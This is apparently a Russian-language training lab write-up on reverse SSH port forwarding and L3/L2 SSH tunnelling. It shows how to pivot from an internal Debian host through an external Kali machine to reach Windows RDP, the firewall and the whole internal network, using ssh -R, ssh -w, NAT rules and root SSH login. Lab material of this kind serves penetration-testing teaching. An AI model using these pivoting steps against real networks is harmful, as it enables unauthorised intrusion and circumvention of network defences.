# Практика №4. Revers Shells & Reverse SSH connections
## 1) SSH port forwarding / reverse ssh connect
Для начала надо разрешить удалённый доступ к Win 10 и настроить Debian Внутри системы.
Настройка Debian: файл /etc/network/interfaces

На внешней kali linux надо включить ssh.
> sudo service ssh start
Для проверки корректности работы можно подключиться с debian на kali с помощью команды ssh user@<kali_ip>.
Для SSH port forwarding надо воспользоваться реверсивным коннектом.
Команда:
> ssh -R <порт который вешаем на kali - то есть порт, по которому мы с кали будем подключаться к винде и по итогу подключение будет к кали по этому порту>:<ip такой, чтобы при подключении от kali было подключение по этому ip. А нам надо подключиться к винде - значит тут должен быть ip wind’ы - или же localhost>: <порт, по которому будет проходить подключение к винде - то есть порт винды>
Пример:
> ssh -R 3395:localhost:3389 user@\<kali ip\>
Для проверки можно написать
> ss -tunlp
Должно быть видно 127.0.0.1::3395. Это тот самый прокинутый порт.
К нему можно подключиться с kali, выполнив команду
> xfreerdp /u:user /p:eve@123 /v:127.0.0.1:3395
>
> где user - имя пользователя на win10
Ещё один способ - прокинуть подключение на другую машинку.
Например: есть Debian и win в одной сети. Есть возможность с debian реверсивно подключиться к внешней kali и указать подключение на win машинку.
Как сделать: В debian:
> ssh -R 3395:<ip винды>:3389 user@\<kali ip\>
> xfreerdp /u:user /p:eve@123 /v:127.0.0.1:3395
Также можно воспользоватсься meterpeter.
## 2) ssh tunneling L3
Для туннелирования надо настроить маршрутизацию трафика.
В kali:
> sudo nano /etc/ssh/sshd_config
> Добавить строчки:
> PermitRootLogin yes
> PermitTunnel yes
После чего перезапустить ssh
> sudo service ssh restart
Далее надо поменять логин для root пользователя:
> sudo passwd root
> \*задать пароль 2 раза\*
Для проверки можно попробовать зайти по ssh через пользователя root.
> root@debian: ssh root@\<ip kali\>
Далее на Debian надо настроить туннелирование командой:
ssh -w 0:0 root@\<kali ip\>
После этого на kali и debian должен появиться новый интерфейс. Его надо включить командой
> ip link set tun0 up
Также на Kali и Debian надо задать статические ip адреса.
> kali@kali: ip addr add 10.8.0.1/24 dev tun0
> deb@deb: ip addr add 10.8.0.2/24 dev tun0
Для проверки можно пингануть оба устройства.
Однако внешняя kali не может пинговать устройства внутри инфраструктуры кроме debian. Для этого надо сделать маршрутизацию между tun0 и ens3
Debian:
> nano /etc/sysctl.conf
> раскомментировать строчку …ip_forward = 1
> сохранить, выйти, написать sysctl -p
Kali:
> ip route add 192.168.1.0/24(сеть в которой находится debian) via 10.8.0.2
Также надо настроить NAT.
Debian:
> iptables -t nat -A POSTROUTING -o ens3 -j MASQUERADE
Доступ получен. Возможности:
> подцепиться к firewall LAN и управлять им изнутри (192.168.1.1),
> подключиться к любому устройству в инфраструктуре (уже напрямую используя команду xfreerdp не с localhost, А с ip компа)
## 3) ssh tunneling L2
Нужна новая схема инфраструктуры.

Реализация туннелирования:
На Debian:
> apt update
> apt install bridge-utils
> sudo nano /etc/networking/interfaces

> service networking restart
После этого ip должен отображаться в br0 интерфейсе.
Для проверки bridge можно попробовать воспользоваться ping 8.8.8.8 с устройства внутри инфраструктуры.
Далее надо настроить ssh на Kali:
- sudo nano /etc/ssh/sshd_config
Добавить следующее:
> PermitRootLogin yes
> PermitTunnel yes
Перезапустить ssh:
> sudo service ssh restart
Далее надо поменять логин для root пользователя:
> sudo passwd root
> \*задать пароль 2 раза\*
Kali настроена. Далее надо подключиться к kali от debian - создать тоннель.
> ssh root@\<kali ip\> -o Tunnel=ethernet -w any:any
После этого на Kali и Debian появится интерфейс tap*
На Debian его надо добавить в созданный ранее bridge.

После чего поднять интерфейсы на Kali и Debian:
> ip link set dev tap0 up
Тоннель создан.
> Можно с помощью команды tcpdump -i tap0 посмотреть, что происходит (вводить на кали)
> Можно получить адрес по dhcp: dhclient tap0 (вводить на kali)
Таким образом мы получили полный доступ до инфраструктуры - так, будто мы находимся внутри инфраструктуры.